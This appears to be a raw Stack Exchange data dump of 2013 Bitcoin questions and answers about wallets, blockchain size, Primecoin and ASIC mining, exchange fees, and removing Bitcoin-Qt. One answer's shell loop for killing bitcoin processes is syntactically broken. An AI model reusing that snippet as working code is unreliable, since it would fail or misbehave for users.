  <row Id="12129" PostTypeId="2" ParentId="10744" CreationDate="2013-07-11T15:51:39.620" Score="0" Body="&lt;p&gt;yeah this is a really annoying bug in mtgox api. your best bet is to listen to either the streaming user_order messages or make a request to /money/orders and verify that it contains or not the oid you just got.&lt;/p&gt;&#xA;" OwnerUserId="4796" LastActivityDate="2013-07-11T15:51:39.620" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12130" PostTypeId="1" AcceptedAnswerId="14115" CreationDate="2013-07-11T16:55:33.537" Score="2" ViewCount="1848" Body="&lt;p&gt;I have an Android wallet key and I want to load it onto my windows desktop. I am using Bitcoin-Qt, but i dont see an import option anywhere. How can this be done? &lt;/p&gt;&#xA;" OwnerUserId="3029" LastEditorUserId="5406" LastEditDate="2016-01-05T13:53:25.430" LastActivityDate="2017-11-21T07:23:02.927" Title="How do you load the Android bitcoin backup key onto Bitcoin Qt?" Tags="|bitcoin-core|windows|wallet-import|bitcoin-wallet-app|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12131" PostTypeId="1" AcceptedAnswerId="12138" CreationDate="2013-07-11T16:58:05.703" Score="0" ViewCount="128" Body="&lt;p&gt;I run a repair shop and im thinking of taking bitcoins, but I want to get the QR image of my wallet address onto my site. The wallet address is on my phone, but I'm not sure how or where I can go to print out the QR image of my address. I did a google search, but everyone has a wallet generator. I just want to print out an existing address i have. &lt;/p&gt;&#xA;" OwnerUserId="3029" LastEditorUserId="112" LastEditDate="2013-07-12T10:09:50.003" LastActivityDate="2013-07-12T10:09:50.003" Title="How can i print out my bitcoin address that resides on my android phone?" Tags="|wallet|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12132" PostTypeId="1" CreationDate="2013-07-11T17:00:50.043" Score="-2" ViewCount="737" Body="&lt;p&gt;I read somewhere the Bitcoin developers were thinking about depreciating the ASIC miners since it's overtaking the network in the future by integrating scrypt with the current encryption. Where was this discussion and what's the outcome of it? &lt;/p&gt;&#xA;" OwnerUserId="3029" LastEditorUserId="5406" LastEditDate="2016-04-01T09:09:05.440" LastActivityDate="2016-04-01T09:09:05.440" Title="Are ASIC miners going to be depreciated due to it overtaking much of the network power in the future?" Tags="|asic|mining-technical-details|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12133" PostTypeId="1" AcceptedAnswerId="12137" CreationDate="2013-07-11T20:35:09.883" Score="5" ViewCount="8806" Body="&lt;p&gt;Since every wallet program has the entire block chain info. How much space does the block chain take? And what prevents it from growing too big where we would run out of space?&lt;/p&gt;&#xA;" OwnerUserId="3029" LastEditorUserId="5406" LastEditDate="2016-08-03T06:16:09.240" LastActivityDate="2016-08-03T06:16:09.240" Title="If everyone has a copy of the block chain, how much space does it take?" Tags="|blockchain|wallet|storage-footprint|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12134" PostTypeId="2" ParentId="12081" CreationDate="2013-07-11T20:35:30.313" Score="4" Body="&lt;p&gt;You should use multiple workers if you want separate statistics for them, or if the pool you are using limits the number of connections that are allowed per worker.&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2013-07-11T20:35:30.313" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12135" PostTypeId="2" ParentId="12125" CreationDate="2013-07-11T21:12:33.243" Score="1" Body="&lt;p&gt;Media coverage actually seems to be a lagging indicator.  There were more articles on Bitcoin from April 9th and seven days after than there were from earlier in that month.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But there definitely is a circular relationship.  Higher exchange rate causes more publicity which expands bitcoin to a wider audience or reinforces confidence in the currency causing additional investment, ... which raises the exchange rate further, over and over, until it bubbles and pops.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a &lt;a href=&quot;http://paidcontent.org/2013/03/22/why-bitcoin-poses-an-interesting-ethical-conundrum-for-journalists/&quot; rel=&quot;nofollow&quot;&gt;call for journalists to disclose&lt;/a&gt; their position if they hold bitcoins and publish an article.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Trading securities using inside information is illegal in many areas, however what is &quot;inside information&quot; with a decentralized digital currency?   Also, would insider trading laws apply to something not a security, commodity, or real currency?&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2013-07-11T21:18:24.237" LastActivityDate="2013-07-11T21:18:24.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12136" PostTypeId="1" CreationDate="2013-07-11T21:47:50.520" Score="1" ViewCount="5696" Body="&lt;p&gt;Is it possible to mine with just one server (for learning about mining, not for making a living!) and one wallet?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've configured a Ubuntu VPS on a server I had spare and run &lt;code&gt;Primecoind&lt;/code&gt;. My &lt;code&gt;primecoin.conf&lt;/code&gt; has a random RPC username and password that I generated but I haven't put &lt;code&gt;server=1&lt;/code&gt; in the configuration file. I'm not sure if I should/need to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When viewing the information of the process running, I can see the following data:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Every 2.0s: &lt;code&gt;primecoind listtransactions&lt;/code&gt; &amp;amp; &lt;code&gt;primecoind getmininginfo&lt;/code&gt;             &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Thu Jul 11 22:43:27 2013&#xA;{&#xA;    &quot;blocks&quot; : 16149,&#xA;    &quot;currentblocksize&quot; : 1000,&#xA;    &quot;currentblocktx&quot; : 0,&#xA;    &quot;errors&quot; : &quot;&quot;,&#xA;    &quot;generate&quot; : true,&#xA;    &quot;genproclimit&quot; : -1,&#xA;    &quot;primespersec&quot; : 7,&#xA;    &quot;pooledtx&quot; : 2,&#xA;    &quot;testnet&quot; : false&#xA;}&#xA;[&#xA;]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm confused by a couple of things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Firstly, why does &lt;code&gt;pooledtx&lt;/code&gt; fluxuate from 0 to 2 from time to time. Secondly, how would I now if I have successfully mined for the first time and if there was any balance at all?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've got &lt;code&gt;MultiBit&lt;/code&gt; setup on my Mac with a wallet ID available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm just unsure on how it all fits together. Any pointers would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="5911" LastEditorUserId="5406" LastEditDate="2016-03-16T10:26:14.813" LastActivityDate="2016-03-16T10:26:14.813" Title="Mining Primecoin with one server and no pool?" Tags="|server|miner-configuration|primecoin|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12137" PostTypeId="2" ParentId="12133" CreationDate="2013-07-12T01:05:07.220" Score="6" Body="&lt;p&gt;I run a full node, and as of today, the blockchain is 10.1 GB.  Since the bitcoin network is active, the answer to your question about how big the blockchain is something that is quite time dependent.  If you were to come back in a month and ask the question, the answer would likely be 11 GB.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was wondering a while back about the size of the blockchain and whether or not it would eventually consume my entire hard drive and I crunched some numbers and calculated that if I expect my computer to last another three years (it's two years old now), the blockchain would then be 60 GB.  I have a 250 GB hard drive and with the amount of free space on it (141 GB), even when it gets that big, I should still have plenty of free space.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nothing really prevents the blockchains from growing so big that we would run out of space, but given that Moore's Law applies to hard drives as well as processors, I'm not all that concerned about this happening.  By the time the blockchain will be in danger of consuming my whole hard drive, my computer will be old enough that I'll likely need a new one anyway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if this is something that you're concerned about, you always have the option of using a lite weight client like Electrum that does not require you storing the blockchain on your hard drive.  Electrum is available at &lt;a href=&quot;http://electrum.org/&quot;&gt;http://electrum.org/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In any case, most people these days have enough storage space to store the blockchain.  The bigger bottleneck is that bitcoin-qt is a bandwidth hog and bandwidth tends to be a lot more precious than hard drive space so if you are using a relatively low bandwidth internet connection, this would be another reason to use a bitcoin client that does not require that you run as a full node and relay transactions such as Electrum.&lt;/p&gt;&#xA;" OwnerUserId="3847" LastActivityDate="2013-07-12T01:05:07.220" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="12138" PostTypeId="2" ParentId="12131" CreationDate="2013-07-12T01:37:51.043" Score="0" Body="&lt;p&gt;Here's a quick way to do it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;img src=&quot;http://qrfree.kaywa.com/?l=1&amp;amp;s=8&amp;amp;d=$yourAddressHere&quot; alt=&quot;QRCode&quot;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1409" LastActivityDate="2013-07-12T01:37:51.043" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12139" PostTypeId="2" ParentId="12136" CreationDate="2013-07-12T03:10:12.033" Score="0" Body="&lt;p&gt;While true; do primecoind listaccounts; sleep 600; done &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would check if your wallet generated any coins ...  Hope this helps &lt;/p&gt;&#xA;" OwnerUserId="5914" LastActivityDate="2013-07-12T03:10:12.033" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12140" PostTypeId="2" ParentId="9465" CreationDate="2013-07-12T04:20:01.150" Score="13" Body="&lt;p&gt;I spent a long time researching this very question a while ago before buying my first bitcoins thinking that Bitstamp is the cheapest way to buy bitcoins (fee wise).  I ended up concluding that the cheapest way to deposit money in a Bitstamp account from the United States is with Ripple, which allows you to bypass the $15 wire transfer fee that it would cost to transfer money the old fashioned way.  However, I ended up going with Coinbase to buy my bitcoins rather than doing this.  I'll explain why:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to buy bitcoins this way using Bitstamp, the process is rather convoluted.  That alone is the first reason.  The second reason is that once I added up the fees, it was actually more expensive with bitstamp because you're not just paying Bitstamp's fees, but also the fees to transfer money into Ripple.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you still want to do buy bitcoins using this method, here's how.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Setup a Ripple account.&#xA;2) Fund it with SnapSwap.  Fees:0.99% + $0.30.&#xA;3) Send the money to Bitstamp using Ripple.  The deposit money page when you're logged into Bitstamp will have the Ripple address to send money to in order to fund your account.&#xA;4) Buy bitcoins with the newly funded account.  Fees: 0.5%.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cumulatively, the fees add up to 1.49%, excluding the $0.30 fee.  The fees that SnapSwap tack on negate the advantage of the relatively low fees that Bitstamp uses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if you're looking for a cheap exchange, since you live in the United States and thus cannot use SEPA, Bitstamp unfortunately probably won't work for you.  Here are your other options:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;CampBX.  An Atlanta based exchange that has a fee of 0.55%.  As far as cheapest way to buy Bitcoins in the United States, this is probably your best bet.  Their website appears to be down right now, however.&lt;/li&gt;&#xA;&lt;li&gt;Coinbase.  Not the cheapest option, but it may just be the easiest option.  That's why I choose Coinbase, I got frustrated with the hoops one has to jump through to buy bitcoins on other exchanges.  Coinbase has a 1% fee plus a bank fee of $0.15 when you're buying and selling bitcoins, the real advantage is that as far as I've been able to tell, they're the only ones that let you buy bitcoins with an old fashioned bank transfer.  The price is locked in at the time when you buy bitcoins, and you get them five business days later.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Alternatively, if you live in an area where people are selling bitcoins in person, you can buy bitcoins directly from someone who already owns them.  Localbitcoins.com is the place where you can check to see if anyone near you is selling bitcoins.  &lt;/p&gt;&#xA;" OwnerUserId="3847" LastEditorUserId="3847" LastEditDate="2014-06-22T20:06:43.643" LastActivityDate="2014-06-22T20:06:43.643" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12141" PostTypeId="2" ParentId="12132" CreationDate="2013-07-12T06:32:36.503" Score="4" Body="&lt;p&gt;No, absolutely not. ASIC mining makes Bitcoin more secure and it would be absurd to change the design to make Bitcoin less secure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With scrypt based mining, you don't need to invest in ASICs to compete with dedicated miners. That means any malicious organization can rent computing power, or use a botnet, to attempt a 51% attack on the currency. When they're done attacking the currency, they can just stop renting computing power. This makes it very vulnerable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By contrast, to attack a currency that can be miner very efficiently with ASICs, you have to invest in ASICs. You can't use a botnet. You can't rent supercomputers or clusters. And if you do weaken the currency, you make your ASICs worthless, and you're now sitting with millions of dollars of hardware that's turned to scrap metal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So no, I can't imagine the Bitcoin developers would consider destroying the security of Bitcoin. What possible benefit would there be?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And it will &lt;em&gt;not&lt;/em&gt; make mining more egalitarian or Democratic. Economics tells us that if mining is profitable, more people will mine, until it's just barely profitable but not more profitable than anything else people can do. When it's just barely profitable, the mining community will consist of those with the best edge -- those who pay the least for electricity, those who can shave a few bucks of the hardware cost, and so on. It will be impossible for average people to compete -- they'll be better off buying Bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, such a change would shatter confidence in Bitcoins. There's no possible way you could change the 21 million Bitcoin limit. And people who invested in ASICs are expecting to get a share of the remaining Bitcoins -- carving a new share for non-ASIC mining would cause those who invested in ASICs to get a lower return than they expected, punishing them for investing in Bitcoin. It would be completely out of the question, an absolute non-starter, inconceivable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bluntly, anyone who seriously suggests something like this has no conception of how the Bitcoin world actually works.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2013-07-12T06:59:49.467" LastActivityDate="2013-07-12T06:59:49.467" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12142" PostTypeId="1" CreationDate="2013-07-12T06:57:30.337" Score="0" ViewCount="1023" Body="&lt;p&gt;Sooo long story short, I have a Samsung series 7 laptop, i'm running Fedora 18 and I downloaded Bitcoin-qt not too long ago.  I am admittedly stupid for doing so before doing ALL proper research (though I did a lot, but not enough) I am pretty much over my bitcoin phase for the moment and would LOVE LOVE LOVE to completely remove bitcoin and any trace of it from my system.. I have had some pretty big speed issues since installing and even though I have tried to delete bitcoin I am almost positive it is still haunting me and secretly running on my machine....Can someone PLEASE give me the proper instructions to A) Find it on my system and B) DELETE IT ALL!!????&#xA;I am soo tired of spending as much time as I have searching Google and every forum under the sun for a simplistic answer...and by simplistic I mean I am also VERY new to Linux based systems so I am not familiar with command lines....&#xA;Sorry for being &quot;stupid&quot; for doing what I've done but hey...live and learn!  Thanks in advance for the help!!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Michelline&lt;/p&gt;&#xA;" OwnerUserId="5695" LastActivityDate="2013-07-12T10:13:53.627" Title="How to find out if Bitcoin is running ANYWHERE on my laptop" Tags="|client|bitcoind|bitcoin-core|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12143" PostTypeId="2" ParentId="12142" CreationDate="2013-07-12T07:40:00.003" Score="0" Body="&lt;p&gt;Open a terminal window and type in &lt;code&gt;top&lt;/code&gt;. This will give you a list of all running processes on your system. Use the up/down keys to scroll through it, and look for &lt;code&gt;bitcoind&lt;/code&gt; or &lt;code&gt;bitcoin-qt&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you find it, note the process number. Hit &lt;code&gt;k&lt;/code&gt;, type in that process number, hit enter, type &lt;code&gt;9&lt;/code&gt;, hit enter. That should kill bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then hit &lt;code&gt;q&lt;/code&gt; to exit &lt;code&gt;top&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Someone else should hopefully be able to help you with the removing bitcoin part.&lt;/p&gt;&#xA;" OwnerUserId="4722" LastActivityDate="2013-07-12T07:40:00.003" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12144" PostTypeId="2" ParentId="10341" CreationDate="2013-07-12T08:01:25.563" Score="1" Body="&lt;p&gt;This kinda thing gets your website put in blacklists.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only way (I know of at least) to mine in the browser is &lt;a href=&quot;http://www.bitcoinplus.com/&quot; rel=&quot;nofollow&quot;&gt;Bitcoin Plus&lt;/a&gt;, which actually is just a wrapper around a background Java applet. So you would probably want to make a Java miner and then work off that.&lt;/p&gt;&#xA;" OwnerUserId="4722" LastActivityDate="2013-07-12T08:01:25.563" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12145" PostTypeId="2" ParentId="12136" CreationDate="2013-07-12T09:22:43.590" Score="1" Body="&lt;p&gt;&lt;code&gt;pooledtx&lt;/code&gt; is likely the number of transactions that are waiting to be confirmed by the next block. These transactions are broadcast to the network and the miners collect them to include them in a block. Since primecoin still has a really low amount of transactions and since your mining a reward transaction this will swing between 1 (just your reward transaction) and 2 (someone just made a transfer).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since you have a fully fledged primecoin client on your system to be able to mine (&lt;code&gt;primecoind&lt;/code&gt;) it will also generate new addresses on demand, and the balance will be credited to those addresses. with &lt;code&gt;primecoind listtransactions&lt;/code&gt; you'll see which addresses received the mined amount. You can now use &lt;code&gt;primecoin sendtoaddress &amp;lt;primecoinaddress&amp;gt; &amp;lt;amount&amp;gt;&lt;/code&gt; to send any amount to an external address, i.e. your multibit client.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2013-07-12T09:22:43.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12146" PostTypeId="1" CreationDate="2013-07-12T09:47:03.803" Score="7" ViewCount="6562" Body="&lt;p&gt;I have been reading about the LiteCoin, and how it uses a hashing function (scrypt) that is not able to be mined by ASICs.  As a side-effect of this, it has been said that people with GPUs will move to Litecoin, as the ASICs take over bitcoin mining.  I'm wondering, are there any hashing functions that are resistant to GPUs as well as ASICs?  It would be nice to have a crypto-currency based on those, so I could use my CPU to do mining, without having to buy an expensive graphics card to keep up.&lt;/p&gt;&#xA;" OwnerUserId="5918" LastEditorUserId="2306" LastEditDate="2016-03-09T17:08:28.233" LastActivityDate="2017-03-01T12:12:45.890" Title="What's next after scrypt?" Tags="|mining-hardware|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12147" PostTypeId="1" AcceptedAnswerId="12149" CreationDate="2013-07-12T09:55:18.777" Score="2" ViewCount="2132" Body="&lt;p&gt;I'm using Bitcoin-qt on Mac and it's been a few weeks since I last fired it up, so it's doing a sync. I've waited a few hours now, despite being on powerful hardware and a fibre connection to the web.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I understand it correctly, the sync involves some processing for every Bitcoin transaction performed globally. In the bright future of Bitcoin, when people are buying Mars bars with them, won't the sync be prohibitively slow due to sheer volume?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or are we hoping Moore's law will offset this growth?&lt;/p&gt;&#xA;" OwnerUserId="5919" LastEditorUserId="5919" LastEditDate="2013-07-12T10:16:21.353" LastActivityDate="2013-07-12T10:31:15.497" Title="Will my bitcoin wallet take prohibitively long to sync as daily transaction volumes grow?" Tags="|bitcoin-core|synchronization|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12148" PostTypeId="2" ParentId="12142" CreationDate="2013-07-12T10:13:53.627" Score="1" Body="&lt;p&gt;By using &lt;code&gt;ps&lt;/code&gt; and searching for processes named &lt;code&gt;bitcoin&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ps aux | grep bitcoin | grep -v grep&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The second grep just filters out the first grep which might under some conditions show up as well.&#xA;If you want to kill them just use the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for i in `ps aux | grep bitcoin | grep -v | awk '{print $2}'` do&#xA;  kill $i&#xA;done&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This searches for running bitcoin processes, reduces them to the &lt;code&gt;pid&lt;/code&gt; field and for each found &lt;code&gt;pid&lt;/code&gt; it sends a kill.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2013-07-12T10:13:53.627" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12149" PostTypeId="2" ParentId="12147" CreationDate="2013-07-12T10:31:15.497" Score="3" Body="&lt;p&gt;The points mentioned in &lt;a href=&quot;https://bitcoin.stackexchange.com/a/2800/575&quot;&gt;this answer&lt;/a&gt; apply here. The key points are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;End users won't be expected to run full nodes such as bitcoin-qt, but rather lightweight clients such as Multibit or Electrum.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Not all Bitcoin &lt;em&gt;payments&lt;/em&gt; need to take the form of Bitcoin &lt;em&gt;transactions&lt;/em&gt;; most will probably take some form of &lt;a href=&quot;https://bitcointalk.org/index.php?topic=91732.0&quot; rel=&quot;nofollow noreferrer&quot;&gt;trustless, instant, off-the-chain Bitcoin payments&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="575" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2013-07-12T10:31:15.497" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12150" PostTypeId="1" AcceptedAnswerId="12151" CreationDate="2013-07-12T10:46:18.967" Score="-2" ViewCount="93" Body="&lt;p&gt;when issuing a transaction a bitcoin client could either specify a recipient bitcoin address or an IP address&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This statement was in &quot;two bit coins at the price of one&quot; paper, and I am really confused, can I communicate in bitcoins using IP addresses?&lt;/p&gt;&#xA;" OwnerUserId="5893" LastActivityDate="2013-07-12T13:21:00.360" Title="Can you specify a recipient bitcoin address or an IP address when issuing a transaction" Tags="|client|address|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12151" PostTypeId="2" ParentId="12150" CreationDate="2013-07-12T13:21:00.360" Score="1" Body="&lt;p&gt;In currently used Bitcoin software (bitcoin-qt 0.8), you cannot specify a recipient IP address, only Bitcoin address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sending to an IP address (by contacting specified address and requesting a public key to send to) was possible in past versions, and some form of it might be reinstated in future versions.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2013-07-12T13:21:00.360" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12152" PostTypeId="2" ParentId="12146" CreationDate="2013-07-12T13:54:58.793" Score="7" Body="&lt;p&gt;Let me describe when a hash function can (not) be calculated efficiently by using ASICs or GPUs:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;ASICs:&lt;/strong&gt; I'm speaking of simple in design, cheap ASICs, because in theory you can design an ASIC for every digital function. Simple ASICs are mostly designed for linear workflows. So they do not use loops (or loops with a hardcoded count), no recursion and a very limited memory requirements and local memory access (payload size is known). So the designer has to know the exact digital formulas. Imagine them as a calculator for mathematics terms (no jumps, every input/output as variable).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;GPUs:&lt;/strong&gt; They are good when it comes to small functions which are executed very often and having medium memory usage. Recursion doesn't work very well and complex, non-parallelized functions aren't handled in an efficient way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if you want to design a hash function that doesn't work well on either of them, use a complex function with high random memory access. Also make sure that the hash function does not contain parallel small parts (good for GPUs). Use data dependencies to ensure this. Please consider that it is always possible to build better more expensive ASICs for every function. So it's about &lt;em&gt;cheap ASIC development&lt;/em&gt; VS &lt;em&gt;complexity of the hash function&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Explanation of some used therms:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Complexity: doesn't mean &lt;a href=&quot;https://en.wikipedia.org/wiki/Big_O_notation&quot; rel=&quot;nofollow noreferrer&quot;&gt;theoretical complexity&lt;/a&gt; Here it's about the length of the description, the number of function calls / jumps and dynamic behavior (non hardcoded loop counts / memory requirements)&lt;/li&gt;&#xA;&lt;li&gt;Recursion: a function calls itself one or multiple times, so a stack structure is required.&lt;/li&gt;&#xA;&lt;li&gt;Data dependency: To calculate the next subresult (e.g. when using loops), you need the previous subresult (e.g. from the last loop body execution).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5922" LastEditorUserId="5918" LastEditDate="2017-03-01T12:12:45.890" LastActivityDate="2017-03-01T12:12:45.890" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12153" PostTypeId="2" ParentId="12128" CreationDate="2013-07-12T20:03:42.560" Score="1" Body="&lt;p&gt;In order to create a new Bitcoin transaction, all you will need is the receiver's public Bitcoin address (and your bitcoin wallet).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The transaction must eventually be broadcast to the network, though this can be done in a variety of ways. See &lt;a href=&quot;https://en.bitcoin.it/wiki/Network&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Network&lt;/a&gt; for more details.&lt;/p&gt;&#xA;" OwnerUserId="5841" LastActivityDate="2013-07-12T20:03:42.560" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12155" PostTypeId="2" ParentId="12146" CreationDate="2013-07-13T01:52:46.027" Score="2" Body="&lt;p&gt;It would be a bad idea. Two huge problems kill this idea:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;So long as it is very profitable to mine the currency, people will set up optimized operations to mine the currency. This will increase until it is no longer very profitable to mine the currency. Your general-purpose hardware isn't optimized for anything -- it's virtually impossible to find a task that a committed miner couldn't find better hardware for, lower electricity prices, or some other competitive edge. Without a competitive edge, you'd be mining at a loss.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Such a currency would be insecure. Anyone who wanted to attack the currency could rent CPU power, retask a botnet, or the like. In contrast, ASICs require a significant investment in the currency and can't be used for anything else, making attacks much more difficult and expensive.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-07-13T01:52:46.027" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12156" PostTypeId="2" ParentId="1993" CreationDate="2013-07-13T04:42:55.260" Score="0" Body="&lt;p&gt;As &lt;a href=&quot;https://bitcoin.stackexchange.com/users/575/meni-rosenfeld&quot;&gt;Meni&lt;/a&gt; said in the comments above, &quot;&lt;em&gt;you can drastically increase your profit by &lt;a href=&quot;https://bitcoin.stackexchange.com/q/5072/5851&quot;&gt;pool-hopping&lt;/a&gt;,&lt;/em&gt;&quot; which has a very different pool selection criteria. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, this is a much less reputable method than sticking with a single pool, and requires much more &lt;a href=&quot;https://bitcoin.stackexchange.com/q/1639/5851&quot;&gt;math&lt;/a&gt; (not to mention the existence of naively vulnerable pools) in order to be successful.&lt;/p&gt;&#xA;" OwnerUserId="5851" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2013-07-13T04:42:55.260" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12157" PostTypeId="1" CreationDate="2013-07-13T05:26:11.400" Score="8" ViewCount="11148" Body="&lt;p&gt;I would like to use my electrum wallet on multiple computers. Is it just a matter of using my seed to recover the wallet on the other computer, or do I have to do something special to set it up?&lt;/p&gt;&#xA;" OwnerUserId="5932" LastEditorUserId="5354" LastEditDate="2013-07-14T03:04:17.920" LastActivityDate="2013-08-25T18:14:30.120" Title="How do I use electrum on multiple computers?" Tags="|electrum|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12158" PostTypeId="1" CreationDate="2013-07-13T11:47:20.950" Score="2" ViewCount="236" Body="&lt;p&gt;At bitcoin.org, there's a prominent notice that an online wallet service could &quot;lose your bitcoins.&quot;  As I understand it, all bitcoin transactions, and therefore wallet balances, are stored in the block chain, on the peer-to-peer network, so they would not be lost in the event of a service failure.  I suppose that the notice is meant to warn against loss of bitcoin addresses/keys, right?  As long as I back up my keys locally, I can always recover my bitcoins, right?  (Nevermind the case of an untrustworthy wallet service that doesn't protect my keys, or uses them to rob from me.)&lt;/p&gt;&#xA;" OwnerUserId="5934" LastActivityDate="2013-07-13T15:27:07.887" Title="An online wallet service could &quot;lose&quot; my bitcoins?" Tags="|e-wallet|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
